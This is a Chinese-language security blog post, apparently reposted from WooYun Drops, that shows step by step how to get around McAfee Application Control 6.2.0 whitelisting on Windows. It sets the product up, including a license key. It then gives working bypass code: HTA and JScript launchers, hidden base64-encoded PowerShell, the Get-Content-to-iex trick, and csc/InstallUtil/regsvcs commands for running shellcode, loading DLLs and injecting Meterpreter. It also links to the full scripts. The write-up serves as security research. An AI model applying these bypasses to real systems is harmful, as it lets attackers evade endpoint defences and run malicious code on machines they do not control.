Bypass McAfee Application Control——Code Execution – 三好学

  • A+
所属分类:WooYun-Drops

http://drops.wooyun.org/tips/10667

0x00 前言


应用白名单(Application Whitelisting)是用来防止未认证程序运行的一个计算机管理实践。它的目的是保护计算机和网络不受应用伤害。 McAfee Application Control作为其中比较有代表性的产品,使用动态的信任模型,避免了单调的人工更新许可清单工作。由于企业会面临来自网络的大量未知软件,因此这款可以集中管理的解决方案有助于及时控制系统安全策略,满足企业的运营需求。

那么,我们就试试看,究竟能不能绕过最新版的McAfee Application Control 6.2.0(截至投稿日期)

Bypass McAfee Application Control——Code Execution - 三好学

0x01 简介


Bypass McAfee Application Control——Code Execution - 三好学

McAfee Application Control对常见文件类型如exe、dll、bat作了限制,白名单外的这些文件均无法运行。所以这次的目标就是绕过限制来执行文件。

0x02 配置McAfee Application Control


操作系统:win7x86

1.下载McAfee Application Control

http://www.mcafee.com/us/products/application-control.aspx填写信息并安装

2.配置流程图

Bypass McAfee Application Control——Code Execution - 三好学

3.Add the license

管理员权限执行McAfee Solidifier 命令行

1.查看许可证是否安装

执行

sadmin license list

2.添加许可证

在McAfee_Application_Control_v6_2_0_License.txt中会有

执行

sadmin license add 2708-0108-1402-2208-0710

如图

Bypass McAfee Application Control——Code Execution - 三好学

3.重启服务Application Control service

执行

net stop scsrvc
net start scsrvc

4.Create the whitelist

1.创建白名单规则

执行

sadmin solidify

需要等待很长一段时间,为当前系统中的所有文件创建规则,如果未添加许可证,该功能无法使用

2.查看白名单状态

执行

sadmin status

确保状态为Solidified

如图

Bypass McAfee Application Control——Code Execution - 三好学

5.Place Application Control in Enabled mode

1.开启程序控制,禁止白名单以外的程序运行

执行

sadmin enable

如图

Bypass McAfee Application Control——Code Execution - 三好学

重启系统,重启服务,执行

net stop scsrvc
net start scsrvc

2.查看状态

执行

sadmin status

确保McAfee Solidifier状态为Enabled

重启后如图

Bypass McAfee Application Control——Code Execution - 三好学

3.测试

新建一些测试文件

执行

sadmin list-unsolidified

查看白名单以外的程序

如图

Bypass McAfee Application Control——Code Execution - 三好学

执行

sadmin scripts list

查看禁止执行的文件类型

如图

Bypass McAfee Application Control——Code Execution - 三好学

分别执行exe、bat、dll,均被限制,如图

Bypass McAfee Application Control——Code Execution - 三好学

Bypass McAfee Application Control——Code Execution - 三好学

0x03 代码执行漏洞


1.难题

无法执行自己的程序

2.分析

根据白名单系统的特点,绕过的思路如下:

  1. 找到系统中的特定白名单程序

    利用该程序执行代码

    编写代码使其执行我们自己的程序

  2. 找到系统中未被拦截的特定程序

    利用该程序执行代码

    编写代码使其执行我们自己的程序

0x04 绕过方法


最终我们还是做到了:D

1.执行vbs

利用hta文件

Tips:

hta是HTML Applications的缩写,是利用HTML和Dynamic HTML(DHTML)开发应用程序

利用如下代码即可通过hta执行vbs

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
</HEAD> 
<BODY> 
</BODY> 
</HTML> 

如图

Bypass McAfee Application Control——Code Execution - 三好学

然而并不完美,hta的界面会默认显示,所以我们需要进一步修改来隐藏hta的主界面

加入属性指定hta执行后最小化显示,完整的代码如下

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "calc.exe"
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">

</HEAD> 
<BODY> 
</BODY> 
</HTML> 

保存为vbs.hta,执行如图

Bypass McAfee Application Control——Code Execution - 三好学

2.执行jscript

jscript未被McAfee Application Control限制,因此可以被利用

如下代码保存为calc.js

#!js
var objShell = new ActiveXObject("WScript.shell");
objShell.run('calc.exe');

执行成功,如图

Bypass McAfee Application Control——Code Execution - 三好学

3.执行powershell

如果可以执行powershell代码,还担心绕不过McAfee Application Control吗?

当然,默认是肯定无法执行的,如图

Bypass McAfee Application Control——Code Execution - 三好学

方法1:

将ps1文件内容保存为script.txt,然后进入Powershell环境执行如下代码:

Get-Content script.txt | iex

但是如果txt中含有函数,会产生如下错误,需要更改脚本内容,错误如图

Bypass McAfee Application Control——Code Execution - 三好学

方法2:

利用hta可以执行vbs,再用vbs执行Powershell

使用如下代码并保存为vbs+ps.hta

#!html
<HTML> 
<HEAD> 
<script language="VBScript">
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true

</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">

</HEAD> 
<BODY> 
</BODY> 
</HTML> 

执行后先调用vbs脚本,再执行Powershell命令

方法3:

利用快捷方式执行Powershell

右键新建一个快捷方式,填入如下代码,并保存为ps.lnk

powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA==

如图

Bypass McAfee Application Control——Code Execution - 三好学

运行快捷方式后执行Powershell命令,弹出计算器

方法4:

利用Powershell环境直接执行,简单粗暴

cmd下执行Powershell.exe进入Powershell环境,然后在下面直接输入所有命令即可

0x05 漏洞利用


目前我们已经可以在安装McAfee Application Control的系统中执行vbs、jscript、Powershell,那么利用上述方法可以实现什么呢?

1.执行shellcode

方法1:

利用vbs,将shellcode转为vbs,然后通过hta执行

参考地址:

http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/

方法2:

利用js

方法3:

利用Powershell

在之前的文章对通过Powershell执行shellcode有过详细介绍,对其中的ps1文件细节作简单修改保存为1-CodeExecution-Shellcode.ps1

进入Powershell环境,然后在里面执行1-CodeExecution-Shellcode.ps1的所有内容

如图

Bypass McAfee Application Control——Code Execution - 三好学

方法4:

利用InstallUtil

在之前的文章《利用白名单绕过限制的更多测试》对此有过详细介绍

上传shellcode.cs,执行如下命令:

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe  /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

如图

Bypass McAfee Application Control——Code Execution - 三好学

方法5:

如果系统支持.net4.0,可以利用regsvcs

参考地址:

https://gist.github.com/subTee/fb09ef511e592e6f7993

上传key.snk和regsvcs.cs,执行如下命令:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library 

/out:regsvcs.dll /keyfile:key.snk regsvcs.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll

2.执行exe

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为2-CodeExecution-Exe.ps1

进入Powershell环境,然后在里面执行2-CodeExecution-Exe.ps1的所有内容

如图

Bypass McAfee Application Control——Code Execution - 三好学

3、加载dll

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为3-CodeExecution-dll.ps1

进入Powershell环境,然后在里面执行3-CodeExecution-dll.ps1的所有内容

如图

Bypass McAfee Application Control——Code Execution - 三好学

4、注入meterpreter

利用Powershell

在之前的文章对通过Powershell执行exe有过详细介绍,对其中的ps1文件细节作简单修改保存为4-Process Injection-Meterpreter.ps1

进入Powershell环境,然后在里面执行4-Process Injection-Meterpreter.ps1的所有内容

如图

Bypass McAfee Application Control——Code Execution - 三好学

0x06 小结


我们成功在安装McAfee Application Control的系统上执行了vbs、exe、dll以及注入meterpreter。

当然McAfee Application Control还有其他一些保护功能,我们的研究测试也不只如此。

注:

以下文件可供下载

1-CodeExecution-Shellcode.ps1
2-CodeExecution-Exe.ps1
3-CodeExecution-dll.ps1
4-Process Injection-Meterpreter.ps1
calc.js
key.snk
ps.lnk
regsvcs.cs
Shellcode.cs
vbs+ps.hta
vbs.hta

下载地址:

https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution

参考链接:

  1. http://bsidesvienna.at/slides/2015/a_case_study_on_the_security_of_application_whitelisting.pdf
  2. https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/24000/PD24662/en_US/AppCtrl_BestPractices_Guide.pdf
  3. http://www.intel.com/content/dam/www/public/us/en/documents/guides/mcafee-application-control-product-guide.pdf
  4. http://subt0x10.blogspot.hk/2015/11/all-natural-organic-free-range.html
  5. http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/
  6. http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html
  7. https://gist.github.com/subTee/a06d4ae23e2517566c52
  8. https://gist.github.com/subTee/fb09ef511e592e6f7993
  9. https://social.technet.microsoft.com/Forums/scriptcenter/en-US/08cce717-38d0-4def-a5bf-e5b4a846a597/run-powershell-from-hta

本文由三好学生原创并首发于乌云drops,转载请注明

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: